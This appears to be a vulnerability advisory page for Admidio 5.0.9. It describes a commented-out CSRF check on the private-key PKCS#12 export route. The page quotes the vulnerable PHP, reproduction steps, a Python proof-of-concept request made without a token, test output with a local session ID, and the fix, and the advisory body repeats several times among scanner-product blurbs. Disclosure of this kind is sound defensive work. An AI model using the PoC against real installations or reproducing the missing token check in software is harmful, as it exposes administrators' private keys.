## Summary The sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. ## Vulnerable Code Links - https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94 - https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150 ## Vulnerable Code ```php // modules/sso/keys.php case 'export': // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` ```php // src/SSO/Service/KeyService.php public function exportToPkcs12(string $keyUUID, string $password = '') { $ssoKey = new Key($this->db); $ssoKey->readDataByUuid($keyUUID); ... openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]); header('Content-Type: application/x-pkcs12'); header('Content-Disposition: attachment; filename="' . $filename . '.p12"'); echo $pkcs12; exit; } ``` ## What Does The Code Mean The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download. ## Why The Code Is Vulnerable The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request. ## Verification Environment - Application: Admidio `v5.0.9` - Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080` - Validation mode: real deployed application, not isolated unit tests ## Steps To Reproduce 1. Log in as an administrator. 2. Create or seed an SSO key pair. 3. Send a POST request to `/modules/sso/keys.php?mode=export&uuid=<key-uuid>` with only `key_password=ExportPass123!` and no `adm_csrf_token`. 4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL. ## PoC Script ```python import os from pathlib import Path from helpers import BASE_URL, login, new_session, save_json, save_text KEY_UUID = os.environ["ADMIDIO_KEY_UUID"] def main(): session = new_session() login_result = login(session, "admin", "AdminPass123!") resp = session.post( f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}", data={"key_password": "ExportPass123!"}, ) resp.raise_for_status() Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content) save_json( "pkcs12_export_csrf_result.json", { "login": login_result, "status_code": resp.status_code, "content_type": resp.headers.get("Content-Type"), "content_length": len(resp.content), "content_disposition": resp.headers.get("Content-Disposition"), }, ) if __name__ == "__main__": main() ``` ## PoC Output ```text { "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"", "content_length": 2644, "content_type": "application/x-pkcs12", "login": { "cookies": { "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb" }, "csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn", "json": { "status": "success", "url": "http://localhost:18080/modules/overview.php" }, "status_code": 200 }, "status_code": 200 } MAC: sha256, Iteration 2048 MAC length: 32, salt length: 8 PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 Certificate bag PKCS7 Data Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 ``` ## Impact A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection. ## Remediation And Suggestions Restore CSRF validation and require a POST body token before exporting private key material. ```php case 'export': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
## Summary The sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. ## Vulnerable Code Links - https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94 - https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150 ## Vulnerable Code ```php // modules/sso/keys.php case 'export': // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` ```php // src/SSO/Service/KeyService.php public function exportToPkcs12(string $keyUUID, string $password = '') { $ssoKey = new Key($this->db); $ssoKey->readDataByUuid($keyUUID); ... openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]); header('Content-Type: application/x-pkcs12'); header('Content-Disposition: attachment; filename="' . $filename . '.p12"'); echo $pkcs12; exit; } ``` ## What Does The Code Mean The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download. ## Why The Code Is Vulnerable The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request. ## Verification Environment - Application: Admidio `v5.0.9` - Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080` - Validation mode: real deployed application, not isolated unit tests ## Steps To Reproduce 1. Log in as an administrator. 2. Create or seed an SSO key pair. 3. Send a POST request to `/modules/sso/keys.php?mode=export&uuid=<key-uuid>` with only `key_password=ExportPass123!` and no `adm_csrf_token`. 4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL. ## PoC Script ```python import os from pathlib import Path from helpers import BASE_URL, login, new_session, save_json, save_text KEY_UUID = os.environ["ADMIDIO_KEY_UUID"] def main(): session = new_session() login_result = login(session, "admin", "AdminPass123!") resp = session.post( f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}", data={"key_password": "ExportPass123!"}, ) resp.raise_for_status() Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content) save_json( "pkcs12_export_csrf_result.json", { "login": login_result, "status_code": resp.status_code, "content_type": resp.headers.get("Content-Type"), "content_length": len(resp.content), "content_disposition": resp.headers.get("Content-Disposition"), }, ) if __name__ == "__main__": main() ``` ## PoC Output ```text { "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"", "content_length": 2644, "content_type": "application/x-pkcs12", "login": { "cookies": { "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb" }, "csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn", "json": { "status": "success", "url": "http://localhost:18080/modules/overview.php" }, "status_code": 200 }, "status_code": 200 } MAC: sha256, Iteration 2048 MAC length: 32, salt length: 8 PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 Certificate bag PKCS7 Data Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 ``` ## Impact A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection. ## Remediation And Suggestions Restore CSRF validation and require a POST body token before exporting private key material. ```php case 'export': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
Update admidio/admidio to 5.0.10 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanAdmidio PKCS#12 private key export action lacks CSRF protection affects admidio/admidio (composer). Severity is medium. ## Summary The sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. ## Vulnerable Code Links - https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94 - https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150 ## Vulnerable Code ```php // modules/sso/keys.php case 'export': // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` ```php // src/SSO/Service/KeyService.php public function exportToPkcs12(string $keyUUID, string $password = '') { $ssoKey = new Key($this->db); $ssoKey->readDataByUuid($keyUUID); ... openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]); header('Content-Type: application/x-pkcs12'); header('Content-Disposition: attachment; filename="' . $filename . '.p12"'); echo $pkcs12; exit; } ``` ## What Does The Code Mean The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download. ## Why The Code Is Vulnerable The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request. ## Verification Environment - Application: Admidio `v5.0.9` - Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080` - Validation mode: real deployed application, not isolated unit tests ## Steps To Reproduce 1. Log in as an administrator. 2. Create or seed an SSO key pair. 3. Send a POST request to `/modules/sso/keys.php?mode=export&uuid=<key-uuid>` with only `key_password=ExportPass123!` and no `adm_csrf_token`. 4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL. ## PoC Script ```python import os from pathlib import Path from helpers import BASE_URL, login, new_session, save_json, save_text KEY_UUID = os.environ["ADMIDIO_KEY_UUID"] def main(): session = new_session() login_result = login(session, "admin", "AdminPass123!") resp = session.post( f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}", data={"key_password": "ExportPass123!"}, ) resp.raise_for_status() Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content) save_json( "pkcs12_export_csrf_result.json", { "login": login_result, "status_code": resp.status_code, "content_type": resp.headers.get("Content-Type"), "content_length": len(resp.content), "content_disposition": resp.headers.get("Content-Disposition"), }, ) if __name__ == "__main__": main() ``` ## PoC Output ```text { "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"", "content_length": 2644, "content_type": "application/x-pkcs12", "login": { "cookies": { "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb" }, "csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn", "json": { "status": "success", "url": "http://localhost:18080/modules/overview.php" }, "status_code": 200 }, "status_code": 200 } MAC: sha256, Iteration 2048 MAC length: 32, salt length: 8 PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 Certificate bag PKCS7 Data Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 ``` ## Impact A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection. ## Remediation And Suggestions Restore CSRF validation and require a POST body token before exporting private key material. ```php case 'export': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
AI coding agents often install or upgrade packages automatically in composer. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| admidio/admidiocomposer | <=5.0.9 | 5.0.10 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate admidio/admidio to 5.0.10 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanAdmidio PKCS#12 private key export action lacks CSRF protection affects admidio/admidio (composer). Severity is medium. ## Summary The sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. ## Vulnerable Code Links - https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94 - https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150 ## Vulnerable Code ```php // modules/sso/keys.php case 'export': // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` ```php // src/SSO/Service/KeyService.php public function exportToPkcs12(string $keyUUID, string $password = '') { $ssoKey = new Key($this->db); $ssoKey->readDataByUuid($keyUUID); ... openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]); header('Content-Type: application/x-pkcs12'); header('Content-Disposition: attachment; filename="' . $filename . '.p12"'); echo $pkcs12; exit; } ``` ## What Does The Code Mean The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download. ## Why The Code Is Vulnerable The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request. ## Verification Environment - Application: Admidio `v5.0.9` - Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080` - Validation mode: real deployed application, not isolated unit tests ## Steps To Reproduce 1. Log in as an administrator. 2. Create or seed an SSO key pair. 3. Send a POST request to `/modules/sso/keys.php?mode=export&uuid=<key-uuid>` with only `key_password=ExportPass123!` and no `adm_csrf_token`. 4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL. ## PoC Script ```python import os from pathlib import Path from helpers import BASE_URL, login, new_session, save_json, save_text KEY_UUID = os.environ["ADMIDIO_KEY_UUID"] def main(): session = new_session() login_result = login(session, "admin", "AdminPass123!") resp = session.post( f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}", data={"key_password": "ExportPass123!"}, ) resp.raise_for_status() Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content) save_json( "pkcs12_export_csrf_result.json", { "login": login_result, "status_code": resp.status_code, "content_type": resp.headers.get("Content-Type"), "content_length": len(resp.content), "content_disposition": resp.headers.get("Content-Disposition"), }, ) if __name__ == "__main__": main() ``` ## PoC Output ```text { "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"", "content_length": 2644, "content_type": "application/x-pkcs12", "login": { "cookies": { "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb" }, "csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn", "json": { "status": "success", "url": "http://localhost:18080/modules/overview.php" }, "status_code": 200 }, "status_code": 200 } MAC: sha256, Iteration 2048 MAC length: 32, salt length: 8 PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 Certificate bag PKCS7 Data Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 ``` ## Impact A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection. ## Remediation And Suggestions Restore CSRF validation and require a POST body token before exporting private key material. ```php case 'export': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ``` For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
AI coding agents often install or upgrade packages automatically in composer. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| admidio/admidiocomposer | <=5.0.9 | 5.0.10 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard